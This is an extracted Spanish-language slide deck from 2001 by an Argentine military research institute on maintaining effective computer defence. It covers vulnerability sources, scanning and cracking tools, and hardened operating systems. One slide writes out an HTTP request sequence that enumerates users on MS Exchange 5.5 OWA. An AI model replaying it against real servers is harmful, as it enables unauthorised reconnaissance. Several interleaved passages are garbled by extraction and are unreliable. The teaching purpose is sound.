Download ¿Cómo mantener una defensa informática eficaz?

Instituto de Investigaciones C ientíficas y Técnicas de las FF A A
G erencia de Tecnología e Innovación
D epartam ento de Inform ática
¿Cómo mantener una
defensa informática eficaz?
Ing. Carlos E. Benitez
cbenitez@citefa.gov.ar
27 de Setiembre de 2001
CONSECRI - Buenos Aires - Argentina
Contenido
• Vulnerabilidades en los Sistemas Informáticos.
– Descubrimiento de vulnerabilidades.
– Sitios donde encontrar información.
• ¿Cómo verificar la Seguridad de un Sistema?
– Pruebas automáticas.
– Pruebas manuales.
• Instalación de Sistemas Operativos Confiables.
• Conclusiones.
Vulnerabilidades en los Sistemas Informáticos
• •Clasificación:
Utilización:
• ¿Qué
son las
los Exploits?
Vulnerabilidades?
– Física
– Port scanning.
Área de Servidores, Control de Acceso.
– –Sniffing.
– Teclados, disqueteras, CD-ROM.
– IP spoofing. o programas que se utilizan
Procedimientos
débiles dentro de un sistema
– Puntos
Redes
–explotar
Cracking
de
contraseñas.
para
una
vulnerabilidad
conaelerrores
objeto
–
Segmentación.
informático
cuya
existencia
se
debe
– –Webjacking.
Firewalls.en forma no autorizada o atacar
deen
acceder
la
programación
o
en
la
instalación.
–
DMZ.
– Códigoun
malicioso
(ActiveX,
Java).
sistema
informático.
– –Software
Denegación de servicios (DOS).
– Sistemas Operativos.
– Buffer overflow.
– Servicios.
– –Ataque
a DNS.
Aplicaciones.
Ataque
a routers.
– –Ser
Humano
Descubrimiento de Vulnerabilidades
Vulnerabilidades
20 al 30 de Agosto de 2001
en
el
tiempoentre elanalizan
• Evolución
¿Quiénes
lasdescubiertas
descubren,
y publican?
2001-08-30: Cyrus IMAP Server Potential Denial of Service Vulnerability
2001-08-30: Gnut Gnutella Client Arbitrary Script Code Execution Vulnerability
2001-08-29: Bugzilla describecomponents.cgi Arbitrary Bug Viewing Vulnerability
2001-08-29: HP Process Resource Manager Environment Variable Privilege Elevation Vulnerability
2001-08-29: HP CIFS 9000 Arbitrary Password Changing Vulnerability
2001-08-29: Apache mod_auth_pgsql Remote SQL Query Manipulation Vulnerability
2001-08-29: Multiple BSD Vendor lpd Buffer Overflow Vulnerability
2001-08-29: Apache mod_auth_pgsql_sys Remote SQL Query Manipulation Vulnerability
2001-08-29: Apache mod_auth_oracle Remote SQL Query Manipulation Vulnerability
2001-08-29: Apache AuthPG Remote SQL Query Manipulation Vulnerability
2001-08-29: Apache mod_auth_mysql Remote SQL Query Manipulation Vulnerability
2001-08-29: Multiple Xinetd Vulnerabilities
2001-08-29: BugZilla Process_Bug.CGI Restricted Bug Comments Revealing Vulnerability
2001-08-29: BugZilla Show_Activity.CGI Restricted Bug Comments Revealing Vulnerability
2001-08-29: Bugzilla showattachment.cgi Arbitrary Bug Viewing Vulnerability
2001-08-29: PHPMyExplorer Arbitrary File Disclosure Vulnerability
2001-08-29: BugZilla ShowVotes.CGI Restricted Bug Comments Revealing Vulnerability
2001-08-29: BugZilla ShowDependencyTree.CGI Restricted Bug Comments Revealing Vulnerability
2001-08-29: BugZilla ShowDependencyGraph.CGI Restricted Bug Comments Revealing Vulnerability
2001-08-28: Caldera Open Unix LPSystem Buffer Overflow Vulnerability
2001-08-27: HP-UX Line Printer Daemon Buffer Overflow Vulnerability
2001-08-27: Lpd Remote Command Execution via DVI Printfilter Configuration Error
2001-08-27: Netscape 6 Temp File Symbolic Link Vulnerability
2001-08-27: Caldera Open Unix UIDAdmin Scheme Option Buffer Overflow Vulnerability
2001-08-26: PHPProjekt Arbitrary User Modification Vulnerability
2001-08-25: Red Hat PAM qpopper User Enumeration Vulnerability
– Hackers.
35
30 Independientes.
– Grupos
25
2001-08-24: Starfish TrueSync Desktop Password Disclosure Vulnerability
2001-08-24: Starfish TrueSync Desktop Failure to Protect Data Vulnerability
2001-08-24: Java Plug-In 1.4/JRE 1.3 Expired Certificate Vulnerability
2001-08-23: BSCW Symbolic Link File Disclosure Vulnerability
2001-08-23: Respondus for WebCT Weak Password Encryption Vulnerability
2001-08-23: FreeBSD tcp_wrappers PARANOID Checking Bypass Vulnerability
2001-08-23: CuteFTP Weak Password Encoding Vulnerability
2001-08-23: UltraEdit FTP Client Weak Password Encryption Vulnerability
2001-08-23: Cisco CBOS Multiple TCP Connection Denial of Service Vulnerability
2001-08-22: A-V Tronics InetServ Webmail Authentication Buffer Overflow Vulnerability
2001-08-22: WinWrapper Admin Server Arbitrary File Reading Vulnerability
2001-08-22: Trend Micro OfficeScan Arbitrary File Disclosure Vulnerability
2001-08-22: BadBlue Source Code Disclosure Vulnerability
2001-08-22: Microsoft Outlook Web Access Denial of Service Vulnerability
2001-08-22: Adobe AcroRead Insecure Default Font List Permissions Vulnerability
2001-08-22: ICQ Forced User Addition Vulnerability
2001-08-22: AOLServer Long Authentication String Denial of Service Vulnerability
2001-08-21: Microsoft Windows 2000 IrDA Buffer Overflow Denial of Service Vulnerability
2001-08-21: FreeBSD linprocfs Privileged Process Memory Disclosure Vulnerability
2001-08-21: BSDI Possible Local Kernel Denial of Service Vulnerability
2001-08-21: Sage Software MAS 200 Denial of Service Vulnerability
2001-08-20: RSA Keon Certificate Authority LDAP Denial of Service Vulnerability
2001-08-20: Intego FileGuard Weak Password Encryption Vulnerability
2001-08-20: TD Forum Cross-Site Scripting Vulnerability
2001-08-20: 4D WebServer v6.5.7 Directory Traversal Vulnerability
2001-08-20: Lotus Domino Mail Loop Denial of Service Vulnerability
2001-08-20: Surf-Net ASP Forum Predictable Cookie ID Vulnerability
– Organizaciones de Seguridad.
20
– Empresas
productoras de Software.
15
10
– Grupos
de apoyo a Sistemas Abiertos.
5
0
1996 1997 1998 1999 2000 2001
Fuente:
Fuente:
http://www.securityfocus.com
http://www.securityfocus.com
(1-Set-2001)
(1-Set-2001)
MS IIS
Apache
Sitios donde encontrar Información
• Organizaciones o Grupos dedicados a la
Seguridad Informática:
–
–
–
–
–
–
–
–
CERT
SecurityFocus
Securityportal
SecurityTeam
packet storm
ATTRITION
KRIPTÓPOLIS
Hispasec
www.cert.org
www.securityfocus.com
www.securityportal.com
www.securityteam.com
packetstorm.securify.com
www.attrition.org
www.kriptopolis.com
www.hispasec.com
Sitios donde encontrar Información
CERT, Computer Emergency Response Team
–
–
–
–
–
–
–
Carnegie Mellon University.
Principal Referencia.
Reporte de Incidentes.
Listas de Correo.
Recomendaciones.
Prácticas de Seguridad.
Información sobre:
– Sistemas Operativos.
– Detectores de
Intrusiones.
– Recuperación de daños.
– Educación.
www.cert.org
Sitios donde encontrar Información
SecurityFocus.com
– Base de datos de
Vulnerabilidades.
– Publicación Inmediata.
– Búsqueda por:
–
–
–
–
Empresa
Nombre del producto
Palabra Clave
Código
– Información:
–
–
–
–
–
Información
Discusión
Exploit
Solución
Créditos
www.securityfocus.com
Sitios donde encontrar Información
packet storm
– Base de Datos de
Herramientas de
Seguridad.
– Vulnerabilidades y
Exploits:
– Por Fecha
– Por Sistema Operativo
– Herramientas de Defensa:
– Por Sistema Operativo
– Por Tipo de Ataque.
packetstorm.securify.com
Sitios donde encontrar Información
ATTRITION.org
– Listado de Webjacking.
– Listados por:
–
–
–
–
Fecha
Sistema Operativo
País
Intruso
– Estadísticas por:
–
–
–
–
Fecha
Sistema Operativo
País
Intruso
www.attrition.org/mirrors/attrition/
Reemplazado por:
www.alldas.de
Sitios donde encontrar Información
KRIPTÓPOLIS
–
–
–
–
–
–
–
–
Seguridad Informática.
Noticias.
Downloads.
Documentación.
Legislación.
Cyberderechos.
Equipos de Investigación.
Descubrimiento de
Vulnerabilidades.
www.kriptopolis.com
Sitios donde encontrar Información
• Organizaciones o Empresas responsables de los
productos:
–
–
–
–
–
Microsoft
Sun
Redhat
Debian
Cisco
www.microsoft.com
www.sun.com
www.redhat.com
www.debian.org
www.cisco.com
Sitios donde encontrar Información
Microsoft
–
–
–
–
Technet.
Bug Track.
Avisos de Seguridad.
Patches en conjunto:
– Service Packs
– Security Rollof Package
– Herramientas para
verificar Vulnerabilidades.
– Búsqueda de
Vulnerabilidades
–
–
–
–
Resumen.
Datos técnicos.
Versiones Afectadas.
Patches Individuales.
www.microsoft.com/technet/security
Sitios donde encontrar Información
Sun microsystems
–
–
–
–
Patches.
Documentación.
Información de Seguridad.
Boletines de Seguridad.
– Descripción.
– Sistemas Vulnerables.
– Patches.
sunsolve.sun.com
Sitios donde encontrar Información
redhat
– RedHat Errata:
– Avisos de Seguridad.
– Reparación de Bugs.
– Mejoras desde el último
Release.
– Avisos de Seguridad:
– Listado de
Vulnerabilidades
– Patches individuales.
www.redhat.com/support/errata
Sitios donde encontrar Información
debian
– Soporte Debian:
–
–
–
–
Documentación.
Información de Seguridad.
Bug Track.
Listas de correo.
– Avisos de Seguridad:
–
–
–
–
Alertas.
Fecha.
Autor.
Tema.
– Vulnerabilidades:
– Descripción.
– Paquetes Afectados.
– Patches (48 horas).
www.debian.org/security
Sitios donde encontrar Información
Cisco
– TAC (Technical Assistance
Center).
– PSIRT (Product Security
Incident Response Team).
– Avisos de Seguridad.
– Vulnerabilidades:
–
–
–
–
Descripción.
Productos Afectados.
Impacto.
Versiones de Software y
Fixes.
– Exploits.
www.cisco.com/public/support/tac/
¿ Cómo verificar la Seguridad de un Sistema?
• Pruebas automáticas:
– Scanners de Puertos:
– Nmap
– Superscan
– Password Crackers
– L0phtcrack
– John The Ripper
– Webcrack
– Scanners de Vulnerabilidades:
–
–
–
–
Retina
Nessus
Satan
Saint
• Pruebas manuales
¿ Cómo verificar la Seguridad de un Sistema?
Nmap
Port scanner.
Gratis y Abierto.
Se ejecuta bajo Linux.
Scanning altamente
configurable.
– Identificación de Sistemas
Operativos mediante
Fingerprints.
–
–
–
–
www.insecure.org/nmap
¿ Cómo verificar la Seguridad de un Sistema?
L0phtcrack
– Password Crack para
Windows NT/2000.
– Comercial.
– Alta velocidad.
– Extrae contraseñas desde:
– Base de datos de
contraseñas (SAM).
– Archivos de texto.
– Desde la red (por
sniffing).
www.l0pht.com/l0phtcrack
¿ Cómo verificar la Seguridad de un Sistema?
Retina
– Scanner de
Vulnerabilidades.
– Producto comercial.
– Actualizable.
– Se ejecuta bajo Windows
NT/2000.
– Busca por Host o por
Rango de IP’s.
– Generador de Reportes.
www.eeye.com
¿ Cómo verificar la Seguridad de un Sistema?
Nessus
– Scanner de
Vulnerabilidades.
– Gratis.
– Servidor bajo Linux.
– Clientes para Linux o
Win32.
– Independencia de los
puertos/servicios.
– Estructura modular.
– Actualizable fácilmente vía
scripts.
– Seguridad por clave
pública/privada.
www.nessus.org
¿ Cómo verificar la Seguridad de un Sistema?
Saint
– Scanner de
Vulnerabilidades.
– Security Administrator's
Integrated Network Tool.
– Versión mejorada y
actualizada de SATAN
(Security Administrator
Tool for Analyzing
Networks).
– Gratis.
– Actualizable.
– Se ejecuta bajo Linux.
– Generador de Reportes
comercial.
www.wwdsi.com/saint
¿ Cómo verificar la Seguridad de un Sistema?
• Pruebas Manuales
– Exploits destinados a
verificar una vulnerabilidad
en particular
– Scripts.
– Ejecutables.
– Procedimientos.
1) Send the following request:
GET /exchange/root.asp?acs=anon HTTP/1.1
Host: hostname
2) Use the provided cookie to generate the following request (and those
that follow):
GET /exchange/logonfrm.asp HTTP/1.1
Host: hostname
Cookie: ASPSESSIONIDGGQGQGFW=EABMCPIDGABPDJIKNOGBBPPN
3) Access the redirected page, and resend the issued cookie:
GET /exchange/root.asp?acs=anon HTTP/1.1
Host: hostname
Cookie: ASPSESSIONIDGGQGQGFW=EABMCPIDGABPDJIKNOGBBPPN
– Ejemplo: Vulnerabilidad
de Listado de Direcciones
de MS Exchange 5.5
mediante OWA.
4) Issue this request to obtain a list of users with the letter 'a' in their name
(e.g. Administrator)
POST /exchange/finduser/fumsg.asp HTTP/1.1
Host: hostname
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: 44
Cookie: ASPSESSIONIDGGQGQGFW=EABMCPIDGABPDJIKNOGBBPPN
DN=a&FN=&LN=&TL=&AN=&CP=&DP=&OF=&CY=&ST=&CO=
Instalación de Sistemas Operativos Confiables
Clasificaciones
(C2)
= B1+?)
TrustedNT
Linux
Solaris
(Seguridad
EAL4(EAL4
= B1+)
•Windows
C2de/2000
B1+(NCSC
B1+ - Orange Book)
–
•
•
–
–
–
–
–
•
–
Control
de Acceso
Discrecional
Access
Control = Control de Acceso
MAC
(Mandatory
D (Protección
Bastille
mínima)
– Reutilización
de Objetos.
Obligatorio)
Conjunto de Discrecional)
Scripts
para asegurar (harden) una instalación.
C– (Protección
Identificación
ylos
– Para redhat
yAutenticación
mandrake. del sistema.
Etiquetado
de
•– Auditoría.
C1 (Protección objetos
de Seguridad Discrecional)
bastille-linux.sourceforge.net
Control
de Accesode
Discrecional.
•
C2
(Protección
Acceso Controlado)
Seguridad
Operacional
Security
Enhanced Linux
Privilegios.
Seguridad física.
B–– (Protección
Obligatoria)
Proyecto
de
la NSA.
Access Control = Control de Acceso
RBAC (Role-Based
•– Patch
B1 (Protección
de
Etiquetada)
delRoles)
kernel deSeguridad
Linux.
Basado en
• Utilitarios.
B2 (Protección Estructurada)
–
– Autorizaciones.
–
redhat. de Windows
• Para
B3 (Dominios
Seguridad) NT/2000
Guías para
Asegurar
– www.nsa.gov/selinux
• A (Protección Verificada)
– Hewlett-Packard
Security Systems
www.microsoft.com/technet/itsolutions/security/tools/c2config.asp
• A1 (Diseño Verificado)
– Compartimentalización, Integridad, Hardening, Auditoría.
www.radium.ncsc.mil/tpep/library/rainbow/5200.28-STD.html#HDR2.1.1
– Basado en redhat 7.1.
www.p-and-e.com/Documents/DITSCAP.pdf
– www.hp.com/security/products/linux
www.sun.com/software/solaris/trustedsolaris
www.radium.ncsc.mil/tpep/index.html
Conclusiones
•
•
•
•
•
Instalación de Sistemas Operativos Confiables.
Consulta Continua de Avisos de Seguridad.
Pruebas de Seguridad Constantes.
Aplicación Inmediata de Patches.
Medidas Complementarias
–
–
–
–
–
Utilización de Sistemas de Detección de Intrusiones (IDS).
Utilización de Herramientas de Verificación de Integridad (Tripwire).
Registro Actualizdo de Servicios y Aplicaciones.
Configuración correcta y revisión de Información de Auditoría (logs).
Capacitación.
• Personal de Sistemas.
• Usuarios.
Instituto de Investigaciones C ientíficas y Técnicas de las FF A A
Muchas gracias por
participar...
cbenitez@citefa.gov.ar